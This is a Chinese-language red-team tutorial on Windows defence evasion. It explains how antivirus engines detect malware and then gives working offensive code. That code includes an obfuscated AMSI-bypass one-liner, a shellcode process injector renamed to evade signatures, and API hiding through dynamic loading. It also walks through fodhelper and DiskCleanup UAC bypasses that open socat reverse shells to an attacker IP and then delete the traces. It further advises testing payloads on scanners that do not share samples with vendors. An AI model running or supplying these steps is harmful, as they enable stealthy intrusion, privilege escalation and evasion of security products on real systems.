Windows主机常用的规避技术

防病毒简介

什么是AV软件?

防病毒 ( AV ) 软件是额外的安全层,旨在检测并防止目标操作系统中恶意文件的执行和传播。它是一个基于主机的应用程序,实时(在后台)运行以监视和检查当前和新下载的文件。反病毒软件使用不同的技术检查并确定文件是否是恶意的

防病毒引擎

AV引擎负责查找并删除恶意代码和文件。好的反病毒软件实现了有效且可靠的反病毒核心,可以准确、快速地分析恶意文件。它可以处理和支持各种文件类型,包括存档文件,可以自解压和检查所有压缩文件。
大多数AV产品具有相同的共同功能,但实现方式不同,包括但不限于:

  • 扫描器
  • 检测技术
  • 压缩器和档案
  • 拆包机
  • 模拟器
  • 扫描器

扫描器

AV产品通常包含扫描仪功能:AV 软件实时或按需运行和扫描。此功能可在 GUI 中或通过命令提示符使用。用户可以在需要检查文件或目录时使用它。扫描功能必须支持最知名的恶意文件类型才能检测和消除威胁。此外,根据反病毒软件的不同,它还可能支持其他类型的扫描,包括漏洞、电子邮件、Windows内存和Windows注册表。

检测技术

AV检测技术搜索并检测恶意文件;AV 引擎中可以使用不同的检测技术,包括:

  • 基于签名的检测是传统的反病毒技术,可在文件中查找预定义的恶意模式和签名。
  • 启发式检测是一种更先进的技术,包括分析可疑文件的各种行为方法。
  • 动态检测是一种包括监控系统调用和 API 以及在隔离环境中进行测试和分析的技术。

压缩器和档案

“压缩器和档案”功能应该包含在任何AV软件中。它必须支持并能够处理各种系统文件类型,包括压缩或存档文件:ZIP、TGZ、7z、XAR、RAR 等。恶意代码通常试图通过隐藏在压缩文件中来逃避基于主机的安全解决方案。 因此,在用户打开存档中的文件之前,反病毒软件必须解压缩并扫描所有文件。

PE 解析和解包程序

  • 恶意软件通过在有效负载中压缩和加密其恶意代码来隐藏和打包其恶意代码。它在运行时自行解压缩和解密,使静态分析变得更加困难。因此,反病毒软件必须能够在运行时进行静态分析之前检测并解压大多数已知的加壳程序(UPX、Armadillo、ASPack 等)。
  • 恶意软件开发人员使用各种技术(例如打包)来缩小恶意文件的大小并更改其结构。打包会压缩原始可执行文件以使其更难以分析。因此,反病毒软件必须具有解包功能,将受保护或压缩的可执行文件解包为原始代码。
  • AV软件必须具备的另一个功能是 Windows 可移植可执行文件 (PE) 标头解析器。解析可执行文件的PE有助于区分恶意软件和合法软件(.exe文件)。Windows(32 位和 64 位)中的 PE 文件格式包含各种信息和资源,例如目标代码、DLL、图标文件、字体文件和核心转储。

模拟器

模拟器是一种防病毒功能,可对可疑文件进行进一步分析。一旦模拟器收到请求,模拟器就会在虚拟化和受控环境中运行可疑文件(exe、DLL、PDF 等)。它监视可执行文件在执行过程中的行为,包括 Windows API 调用、注册表和其他 Windows 文件。以下是模拟器可能收集的工件的示例:

  • API调用
  • 内存转储
  • 文件系统修改
  • 记录事件
  • 正在运行的进程
  • 网络请求

当收集到足够的工件来检测恶意软件时,模拟器会停止文件的执行。

其他共同特征

以下是AV产品的一些常见功能:

  • 自我保护驱动程序,可防止恶意软件攻击实际的反病毒软件。
  • 防火墙和网络检查功能。
  • 命令行和图形界面工具。
  • 守护进程或服务。
  • 管理控制

AV静态检测

AV检测可以分为三种主要方法:

  1. 静电检测
  2. 动态检测
  3. 启发式和行为检测

原理

静态检测技术是最简单的防病毒检测类型,它基于恶意文件的预定义签名。简而言之,它在检测中使用模式匹配技术,例如查找唯一字符串、CRC(校验和)、字节码/十六进制值序列和加密哈希(MD5、SHA1 等)。
然后,它在操作系统内的现有文件与签名数据库之间执行一组比较。如果数据库中存在该签名,则认为该签名是恶意的。此方法对静态恶意软件有效。

值得注意的是,该技术仅适用于具有数据库中预先生成的签名的已知恶意文件。因此,数据库需要不时更新。
基于签名的检测的缺点是, 如果二进制文件被修改,文件将具有不同的哈希值。那么很容易绕过基于签名的检测技术。

其他检测技术

动态检测

动态检测方法比静态检测更先进、更复杂。动态检测更侧重于使用不同方法在运行时检查文件。下图为动态检测扫描流程:

第一种方法是通过监视 Windows API。检测引擎检查 Windows 应用程序调用并使用 Windows Hooks监视 Windows API 调用。
另一种动态检测方法是沙盒。沙箱是一种虚拟化环境,用于运行与主机分离的恶意文件。这通常是在隔离环境中完成的,主要目标是分析恶意软件在系统中的行为方式。一旦恶意软件被确认,将根据二进制文件的特征创建唯一的签名和规则。最后,新的更新将被推送到云数据库中以供将来使用。
缺点是:恶意软件开发人员将其软件设置为不在虚拟或模拟环境中运行,以避免动态分析

启发式和行为检测

现代反病毒软件依靠这种类型的检测来检测恶意软件。启发式分析使用各种技术,包括静态和动态启发式方法:

  1. 静态启发式分析是反编译(如果可能)和提取恶意软件源代码的过程。然后,将提取的源代码与其他众所周知的病毒源代码进行比较。这些源代码是先前已知的并在启发式数据库中预定义。如果匹配达到或超过阈值百分比,则该代码将被标记为恶意代码。
  2. 动态启发式分析基于预定义的行为规则。安全研究人员在隔离和安全的环境中分析可疑软件。根据他们的发现,他们将该软件标记为恶意软件。然后,创建行为规则以匹配目标计算机内软件的恶意活动。

以下是行为规则的示例:

  • 如果进程尝试与包含用户 NTLM 哈希、Kerberos 票证等的 LSASS.exe 进程交互
  • 如果进程打开侦听端口并等待接收来自命令和控制 (C2) 服务器的命令

下图显示了启发式和行为检测扫描流程:

现代反病毒软件如何作为一个单元(包括所有组件)工作,并结合各种功能和检测技术来实现其反病毒引擎。以下是防病毒引擎的组件示例:

在图中可以看到 可疑的Foobar.zip文件被传递到AV软件进行扫描。AV 软件识别出这是一个压缩文件 (.zip)。由于该软件支持 .zip 文件,因此它取消存档功能来提取文件 ( Foobar.exe )。接下来,它识别文件类型以了解要使用哪个模块,然后执行 PE 解析操作以提取二进制文件的信息和其他特征。接下来,它检查文件是否被加壳;如果是,它会解压代码。 最后,它将收集到的信息和二进制文件传递给反病毒引擎,在那里它尝试检测它是否是恶意的并给我们结果。

AV 测试和指纹识别

AV测试环境

VirusTotal

VirusTotal 是一个著名的基于网络的扫描平台,用于检查可疑文件。它允许用户上传要使用 70 多个防病毒检测引擎进行扫描的文件。VirusTotal 将上传的文件传递给防病毒引擎进行检查,返回结果,并报告是否是恶意的。应用了许多检查点,包括检查列入黑名单的 URL 或服务、签名、二进制分析、行为分析以及检查 API 调用。此外,二进制文件将在模拟和隔离的环境中运行和检查,以获得更好的结果。
访问地址:

https://www.virustotal.com/
VirusTotal替代品

VirusTotal 是一个方便的扫描平台,具有强大的功能,但它有一个共享策略。所有扫描结果都将传递并与防病毒供应商共享,以改进他们的产品并更新已知恶意软件的数据库。作为红队队员,这会烧毁您在交战中使用的投掷器或有效载荷。
出于这些原因,仅在不共享信息的网站上测试恶意文件:

https://antiscan.me/
https://virusscan.jotti.org/

指纹AV软件

旦我们获得了对目标机器的初始访问权限,我们就不知道有哪些反病毒软件。因此,查找并识别安装了哪些基于主机的安全产品(包括 AV 软件)非常重要。
知名且常用的反病毒软件:
image.png

混淆原理

简单来说混淆用于保护知识产权,应用程序的专有信息,但是反过来利用这点,可以避免AV软件的检测

混淆静态的常见方法

为了逃避签名,攻击者可以利用广泛的逻辑和语法规则来实施混淆。通常有以下方法:

混淆法													目的
数组变换							通过拆分、合并、折叠和展平来转换数组
数据编码							使用数学函数或密码对数据进行编码
数据程序化						用过程调用替换静态数据
数据分割/合并				将一个变量的信息分配到多个新变量中

对象串联

例如:通过一个完整的字符串分割成两个部分,以连接的方式来合成一个对象。可以利用这种方式绕过敏感关键字的静态检验。
一些常见语言及其相应预定义运算符的小表

语言											串联运算符
Python										“+”
PowerShell									“+”, ”,”, ”$”, or no operator at all
C#											“+”, “String.Join”, “String.Concat”
C											“strcat”
C++											“+”, “append”

还可以利用的一些常见的非解释字符,进行字符串连接:

语言 						 作用											例子
C#						重新排序字符串的组件							('{1}{0}'-f'ffee','co')
// -f是插值运算符,'ffee'和'co'是要插入的表达式,"{1}{0}"表示待插入的字符串模板 ==> coffe

C# 						包含未解释的空白								.( 'Ne' +'w-Ob' + 'ject')
//它将字符串"Ne"、"w-Ob"和"ject"拼接在一起,得到最终的结果  ==> New-Object

C#						包括未解释的刻度								d`own`LoAd`Stri`ng
//使用反引号 ` 将特定的字符组合起来,==> downLoadString

其他				  任意大小写											dOwnLoAdsTRing

演示

这里以混淆 Powershell代码,直到逃避 Denfender的检测

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

首先执行一部分的代码片段,观察一些返回的结果

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')

image.png
经过分析,发现前面的字符都没有问题,那应该就是最后一个字符被 Defender检测到了 “AmsiUtils”

[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils')

通过字符串连接绕过
image.png
放入全部代码,发现还是不行

[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

image.png
继续尝试字符串拼接

[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('ams'+'iIni'+'tFailed','NonPu'+'blic,S'+'tatic')
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

image.png
变量替换

$a="SetValue"
[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils').GetField('ams'+'iIni'+'tFailed','NonPu'+'blic,S'+'tatic').$a($null,$true)

image.png

混淆的分析欺骗功能

在混淆恶意代码的基本功能后,它可能能够通过软件检测,但仍然容易受到人类分析,分层混淆分类法如下:

混淆法													目的
垃圾代码										添加无用的垃圾指令,也称为代码存根
相关代码的分离								将相关代码或指令分开,增加程序阅读难度
去除冗余符号									剥离符号信息,例如调试信息或其他符号表
无意义的标识符								将有意义的标识符转换为无意义的标识符
隐式控制										将显式控制指令转换为隐式指令
基于调度程序的控制								确定运行时期间要执行的下一个块
概率控制流									引入具有相同语义但不同语法的控制流复制
虚假控制流									控制流故意添加到程序中但永远不会被执行

代码流程和逻辑

控制流是程序执行的关键组成部分,逻辑是应用程序控制流最重要的决定因素之一
一些逻辑语句:

逻辑语句									作用
if/else						仅当满足条件时才执行,否则将执行不同的代码块
try/catch					如果无法处理错误,将尝试执行代码块并捕获它。
switch case		switch将遵循与 if 语句类似的条件逻辑,但在解析为中断或默认之前,会使用case检查几种不同的可能条件
for/while		 			for循环将执行一定量的条件。while循环将执行,直到不再满足条件。

在处理控制流时,攻击者的目标是引入足够多的晦涩且任意的逻辑来迷惑分析人员。

任意控制流模式

用数学、逻辑和/或其他复杂算法将不同的控制流注入恶意函数中。我们可以利用 谓词来设计这些复杂的逻辑和/或数学算法。谓词是指输入函数返回true或 false的决策 。Collat z 猜想是一个常见的数学问题,可以用作不透明谓词的示例。它指出:如果重复两个算术运算,它们将从每个正整数中返回一个。事实上,我们知道对于已知输入(正整数)它总是会输出一个,这意味着它是一个可行的不透明谓词。
Collatz 问题:

https://mathworld.wolfram.com/CollatzProblem.html

示例代码:

x = 0
while(x > 1):
    if(x%2==1):
        x=x*3+1
    else:
        x=x/2
    if(x==1):
        print("hello!") 

如果x是大于1的正整数,那么x始终等于0,否则它将不会输出 hello!

保护和剥离可识别信息

可识别信息可能是分析人员可以用来剖析和尝试理解恶意程序的最关键组件之一。通过限制可识别信息的数量(变量、函数名称等),分析人员可以使攻击者更有可能无法重建其原始函数。
例如这段还未混淆的C++编写的进程注入器:

#include "windows.h"
#include <iostream>
#include <string>
using namespace std;

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = "";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    string leaked = "This was leaked in the strings";

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    cout << "Handle obtained for" << processHandle;
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    cout << "Buffer Created";
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    cout << "Process written with buffer" << remoteBuffer;
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);
    cout << "Closing handle" << processHandle;
    cout << leaked;

    return 0;
}

如果需要混淆,首先需要关注毫无用处的字符串输出,还有就是程序的对象变量需要更改,避免被识别。
删除打印的文本语句,C++ 的输出流 cout 是来打印文本和句柄的值。
image.png

#include "windows.h"
#include <iostream>  //用于输入输出操作,用cout打印输出到控制台
#include <string>	 //定义了一些与字符串相关的功能
using namespace std; //进行Windows编程和字符串操作

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = "";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

然后更改相关的对象名称或者变量名称,删除无用的C++头文件
image.png

#include "windows.h"


int main(int argc, char* argv[])
{
    unsigned char sc[] = "";

    HANDLE ph;
    HANDLE rd;
    PVOID rr;

    ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    rr = VirtualAllocEx(ph, NULL, sizeof sc, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(ph, rr, sc, sizeof sc, NULL);
    rd = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rr, NULL, 0, NULL);
    CloseHandle(ph);

    return 0;
}

最后编译该C++文件,成功混淆
image.png

签名规避

即使使用了一些最常见的混淆或规避技术 ,恶意文件中的签名可能仍然存在。为了对抗持久签名,我们可以单独观察每个签名并根据需要对其进行处理。

自动签名识别

AMSI触发

AMSI 利用运行时,使签名更难以识别和解析,它支持的PowerShell。利用 AMSI 引擎并针对提供的PowerShell脚本扫描功能,并报告它认为需要发出警报的任何特定代码部分。
工具下载地址:

https://github.com/RythmStick/AMSITrigger/releases
  • -i 指定文件
  • -f 指定扫描的参数
AMSITrigger -i file_name -f 3

image.png

基于静态代码的签名

分层混淆分类法涵盖了作为混淆方法和混淆类层一部分的最可靠的解决方案。

混淆方法

混淆法													目的
方法代理											创建代理方法或替换对象
方法分散/聚合										将多种方法合并为一种方法或将一种方法分散为多种方法
方法克隆											创建方法的副本并随机调用每个方法

混淆类

混淆法													目的
类层次结构扁平化									使用接口为类创建代理
类拆分/合并										将局部变量或指令组传输到另一个类
删除修饰符										删除类修饰符(公共、私有)并使所有成员成为公共

分割和合并对象

下面是检测到的原始字符串

string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

下面是用于替换和连接字符串的新类。

public static string GetMessageFormat //格式化公共方法
{
    get // Return the property value
    {
        var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // 启动内置的串联方法
        sb.Append(@"""Type"":{1},"); // 将子字符串附加到字符串上
        sb.Append(@"""Meta"":""{2}"",");
        sb.Append(@"""IV"":""{3}"",");
        sb.Append(@"""EncryptedMessage"":""{4}"",");
        sb.Append(@"""HMAC"":""{5}""}}");
        return sb.ToString(); // 将连接后的字符串返回给类
    }
}

string MessageFormat = GetMessageFormat

静态属性签名

通常是文件的属性,可以尝试进行修改,避免检测

行为特征

原理

混淆函数和属性可以通过最少的修改实现很多效果。即使在破坏附加到文件的静态签名之后,现代引擎仍然可以观察二进制文件的行为和功能。

API 调用和操作系统本机的其他函数需要指向函数地址的指针和使用它们的结构。函数的结构简单;它们位于 导入库中,例如kernel32或 ,ntdll它们存储 Windows 的函数结构和其他核心信息。函数导入最重要的问题是函数地址。获取指针可能看起来很简单,但由于ASLR(地址空间布局R随机化) ,函数地址是动态的并且必须找到。

使用Windows 加载程序 ,而不是在运行时更改代码。windows.h在运行时,加载程序会将所有模块映射到进程地址空间并列出每个模块的所有函数。它处理模块,但是函数地址是如何分配的呢?

Windows 加载程序最关键的功能之一是IAT (导入地址表)。IAT将存储所有可以为函数分配指针的导入函数的函数地址。
IAT 存储在PE(可移植可执行文件)标头中IMAGE_OPTIONAL_HEADER,并由 Windows 加载程序在运行时填充。Windows 加载程序从指针表获取函数地址

演示

为了防止我们的函数出现在IAT中,我们还可以利用 API 调用从导入库本身获取函数地址。此技术称为动态加载,可用于避免 IAT 并最大限度地减少 Windows 加载程序的使用。
将编写结构并为函数创建新的任意名称以采用动态加载。
在较高的层次上,我们可以将 C 语言中的动态加载分为四个步骤:

  • 定义调用的结构
  • 获取调用地址所在模块的句柄
  • 获取调用的进程地址
  • 使用新创建的调用
定义调用的结构
typedef BOOL (WINAPI* myNotGetComputerNameA)(
    LPSTR   lpBuffer,
    LPDWORD nSize
);
获取调用地址所在模块的句柄
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
获取调用的进程地址
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");

混淆以下 C 代码片段:

#include <windows.h>
#include <stdio.h>
#include <lm.h>

int main() {
    printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (GetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}

===》

#include <windows.h>
#include <stdio.h>
#include <lm.h>

typedef BOOL (WINAPI* notname)(LPSTR lpBuffer, LPDWORD nSize);

int main() {
    HMODULE add = LoadLibraryA("kernel32.dll");
    notname hihi = (notname) GetProcAddress(add, "GetComputerNameA");

    CHAR coucou[260];
    DWORD coul = 260;
    if (hihi(coucou, &coul)) {
        printf("hostname: %s\\n", coucou);
    }

}

总结

  • 不存在可疑的库调用
  • 没有泄漏函数或变量名称
  • 文件哈希与原始哈希不同
  • 二进制绕过常见的防病毒引擎

绕过UAC

用户帐户控制 (UAC)

什么是UAC?

用户帐户控制 ( UAC ) 是一项 Windows 安全功能,默认情况下强制任何新进程在非特权帐户的安全上下文中运行。此策略适用于任何用户(包括管理员本身)启动的进程。当用户 决定启动恶意应用程序并且禁用UAC ,则恶意应用程序将立即获得管理员权限。相反,当启用 UAC 时,恶意应用程序将被限制为非管理访问令牌

UAC提权

如果管理员需要执行特权任务,UAC提供了一种提升权限的方法。提升的工作原理是向用户显示一个简单的对话框,以让用户批准是否执行特权:
image.png

诚信等级

UAC是一种强制完整性控制 (MIC),它是一种允许通过为每个用户、进程和资源分配完整性级别 (IL)来区分用户、进程和资源的机制。一般来说,具有较高 IL 访问令牌的用户或进程将能够访问具有较低或相同 IL 的资源。MIC 优先于常规 Windows DACL
Windows 使用以下 4 个 IL,按从低到高的顺序排列:

诚信等级										使用
Low				一般用于与 Internet(即 Internet Explorer)交互。权限非常有限。
Medium			分配给标准用户和管理员的过滤令牌。
High			如果启用了UAC,则由管理员提升的令牌使用。如果禁用 UAC,所有管理员将始终使用高 IL 令牌。
System			保留供系统使用。

当进程需要访问资源时,它将继承调用用户的访问令牌及其关联的 IL。如果一个进程分叉一个子进程,也会发生同样的情况。

过滤后的令牌

为了实现这种角色分离,UAC在登录期间以稍微不同的方式对待普通用户和管理员:

  • 非管理员在登录时将收到一个访问令牌,该令牌将用于用户执行的所有任务。具有中等 IL。
  • 管理员将收到两个访问令牌:
    • 过滤令牌:剥离了管理员权限的令牌,用于常规操作。具有中等 IL。
    • 提升的令牌:具有完全管理员权限的令牌,在需要使用管理权限运行某些内容时使用。该令牌具有高 IL。

以通常的方式打开应用程序

右键运行程序时,进行选择运行方式

process hacker下载地址:

https://processhacker.sourceforge.io/downloads.php

双击该工具,下滑可以看见两个不同的IL等级:
image.png
中 IL 进程实际上被拒绝与成为管理员组的一部分相关的任何特权。
image.png

用户控制中心设置

win + r 输入control 打开控制面板,然后如图点击 用户账户
image.png
然后再次点击用户账户
image.png
最后如图进行点击
image.png
根据我们的安全要求,UAC可以配置为在四种不同的通知级别运行:

  • 始终通知:在更改 Windows 设置或程序尝试安装应用程序或对计算机进行更改时,通知并提示用户授权。
  • 仅当程序尝试对我的计算机进行更改时通知我:当程序尝试安装应用程序或对计算机进行更改时,通知并提示用户进行授权。更改 Windows 设置时不会提示管理员。
  • 仅当程序尝试对我的计算机进行更改时通知我(不要使我的桌面变暗):与上面相同,但不会在安全桌面上运行UAC提示符。
  • 从不通知:禁用UAC提示。管理员将使用高权限令牌来运行一切。

默认情况下,UAC配置为 “仅当应用尝试对我的计算机进行更改时通知我”级别:
image.png
从攻击者的角度来看,三个较低的安全级别是等效的,只有“始终通知”设置存在差异。

UAC内部结构

UAC的核心是应用程序信息服务或Appinfo。每当用户需要提升权限时,就会发生以下情况:

  1. 用户请求以管理员身份运行应用程序。
  2. ShellExecute API 调用是使用runas动词进行的。
  3. 该请求被转发到 Appinfo 来处理提升。
  4. 检查应用程序清单以查看是否允许自动提升(稍后将详细介绍)。
  5. Appinfo 执行consent.exe ,这会在安全桌面上显示UAC提示符。安全桌面只是一个单独的桌面,它将进程与实际用户桌面中运行的任何进程隔离开来,以避免其他进程以任何方式篡改 UAC 提示符。
  6. 如果用户同意以管理员身份运行应用程序,Appinfo 服务将使用用户的提升令牌执行请求。然后,Appinfo 将设置新进程的父进程 ID,以指向请求提升的 shell。

UAC绕过

当获取到Windows的远程shell的时候,绕过UAC为 Medium ,那么意味着使用着过滤后的令牌。它将不能执行一些相关的特权命令
image.png

基于 GUI 的绕过

案例:msconfig

当 win + r 输入 msconfig时,使用 Process Hacker 分析 msconfig进程,可以发现即使没有显示UAC提示,但是mscofnig进程也是作为高IL进程运行.
image.png
我们可以强制 msconfig 为我们生成一个 高IL 的shell,该shell将继承父进程的相同的访问令牌。如图来到工具选项卡,然后选择对应的选项,最后再点击运行
image.png
这时候就获取到一个高IL令牌
image.png

案例:azman.msc

与 msconfig 一样,azman.msc 将自动提升,无需用户交互。首先 win + r 输入 azman.msc,然后如图进行点击
image.png
在帮助页面,右键文章空白的地方,然后点击查看源码
image.png
这将生成一个记事本进程,我们可以利用它来获取 shell,“文件- >打开文件”,然后找到cmd.exe程序,然后右键运行即可
image.png
可以看见成功获取到 高IL
image.png
打开 Process Hacker进行分析,可以发现mmc.exe 进程下的都是高IL
image.png

自动提升进程

某些可执行文件可以自动提升,无需任何用户干预即可实现高 IL。这适用于控制面板的大部分功能和 Windows 提供的一些可执行文件。
对于应用程序,需要满足一些要求才能自动提升:

  • 可执行文件必须由 Windows 发布者签名
  • 可执行文件必须包含在受信任的目录中,例如%SystemRoot%/System32/或者%ProgramFiles%/
  • 可执行文件 (.exe) 必须在其清单中声明autoElevate元素。要检查文件的清单,我们可以使用sigcheck工具,如果我们检查 msconfig.exe 的清单,将找到 autoElevate 属性:
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
	<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
		<dpiAware>true</dpiAware>
		<autoElevate>true</autoElevate>
	</asmv3:windowsSettings>
</asmv3:application>

sigcheck工具下载:

https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck
  • mmc.exe 将根据用户请求的 .msc 管理单元自动提升。Windows 附带的大多数 .msc 文件都会自动提升。
  • Windows 会保留一个附加的可执行文件列表,即使清单中未请求,也会自动提升。例如,此列表包括 pkgmgr.exe 和 spinstall.exe。
  • COM 对象还可以通过配置一些注册表项来请求自动提升
https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker

案例:Fodhelper

原理

win + r 输入 fodhelper.exe
image.png
fodhelper 可以在无法访问 GUI 的情况下被滥用。fodhelper 会在注册表中搜索感兴趣的特定密钥:

当 Windows 打开文件时,它会检查注册表以了解要使用的应用程序。注册表为每个文件类型保存一个称为程序 ID ( ProgID ) 的密钥,其中关联了相应的应用程序。

Computer\HKEY_CLASSES_ROOT\htmlfile\shell\open\command

演示
  • 设置一个环境变量REG_KEY,用于指定要修改的注册表键的路径
  • 设置一个环境变量CMD,用于指定要运行的命令。该命令是一个包含powershell和socat的命令行,它会在隐藏的方式下运行socat,将系统的输入输出重定向到一个指定的IP地址和端口,最后建立反向shell
  • 添加一个名为"DelegateExecute"的注册表值,并将其数据设置为空字符串。这是一种常用的绕过UAC(用户账户控制)的技术,它用于让程序绕过用户权限限制以获取更高的权限。
  • 添加一个名为Default的注册表值,并将其数据设置为之前设置的CMD环境变量所存储的命令。这将使得在用户登录后,系统会自动执行该命令,即运行socat以建立反向Shell。
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f
fodhelper.exe

image.png
成功接受反向shell,切令牌为高IL
image.png
痕迹清除:

reg delete HKCU\Software\Classes\ms-settings\ /f

image.png

Fodhelper 绕过 Defender

速度竞争:

C:\> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"

C:\> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.

C:\> reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

fodhelper 可能会在AV启动之前执行,给您一个反向 shell。但是不可靠

powershell版本
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:10.9.91.80:4444 EXEC:cmd.exe,pipes"

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value "$program" -Force
    
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
    
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

image.png
接收到高IL的shell
image.png
痕迹清除

reg delete "HKCU\Software\Classes\.pwn\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

环境变量扩展

在默认 Windows 配置上,我们可以滥用与系统配置相关的应用程序来绕过UAC,如果 UAC 配置为“始终通知”级别,fodhelper 和类似的应用程序将没有任何用处,因为它们将要求用户通过 UAC 提示来提升。这将阻止使用几种已知的绕过方法。

案例:磁盘清理计划任务

打开任务计划程序
image.png
来到这里可以看见,“以最高权限运行”选项将使用调用用户可用的最高权限安全令牌,这对于管理员来说是一个高 IL 令牌。
image.png
在这里可以发现,该命令取决于环境变量,因此我们可以通过它们注入命令并通过手动启动 DiskCleanup 任务来执行它们。
image.png
我们可以替换 %windir% 的环境变量为以下:

"cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "
  • 其中,REM为添加注释的命令

相当于该计划任务,后面的内容都被注释了,只剩下恶意命令

cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%

演示

写入有效载荷放入 %windir% 中

 reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP:10.9.91.80:4446 EXEC:cmd.exe,pipes &REM " /f

执行计划任务,/I 代表当前用户界面交互式

schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

image.png
返回4446监听端口,可以看见成功接收到高IL的shell
image.png
清除痕迹

reg delete "HKCU\Environment" /v "windir" /f

image.png

自动利用

有一个出色的工具可用于测试UAC绕过,而无需从头开始编写漏洞利用程序。下载地址:

https://github.com/hfiref0x/UACME

使用方法:指定编号即可

UACME-Akagi64.exe 33

image.png

方法编号												旁路技术
33													fodhelper.exe
34													磁盘清理计划任务
70													使用 CurVer 注册表项的 fodhelper.exe

关于其他的UAC技术,可以参考这些:

https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://elastic.github.io/security-research/whitepapers/2022/02/03.exploring-windows-uac-bypass-techniques-detection-strategies/article/
https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html

运行时检测规避

运行时检测

当执行代码或应用程序时,无论解释器如何,它几乎总是会流经运行时。运行时检测措施将在运行时执行之前扫描代码并确定其是否是恶意的。根据其背后的检测措施和技术,此检测可以基于字符串签名、启发式或行为。如果代码被怀疑是恶意的,则会为其分配一个值,如果在指定范围内,它将停止执行,并可能隔离或删除文件/代码。

AMSI 概述

AMSI(反恶意软件接口)是一项PowerShell安全功能,允许任何应用程序或服务直接集成到反恶意软件产品中 。
有关 AMSI 的更多信息:

https://docs.microsoft.com/en-us/windows/win32/amsi/

AMSI 将根据监控和扫描的响应代码确定其操作。以下是响应代码的列表:

  • AMSI_RESULT_CLEAN = 0
  • AMSI_RESULT_NOT_DETECTED = 1
  • AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
  • AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
  • AMSI_RESULT_DETECTED = 32768

这些响应代码只会在 AMSI 后端或通过第三方实施报告。
AMSI 完全集成到以下 Windows 组件中:

  • 用户帐户控制(UAC)
  • powershell
  • Windows 脚本宿主(wscript 和 cscript)
  • JavaScript 和 VBScript
  • Office VBA 宏

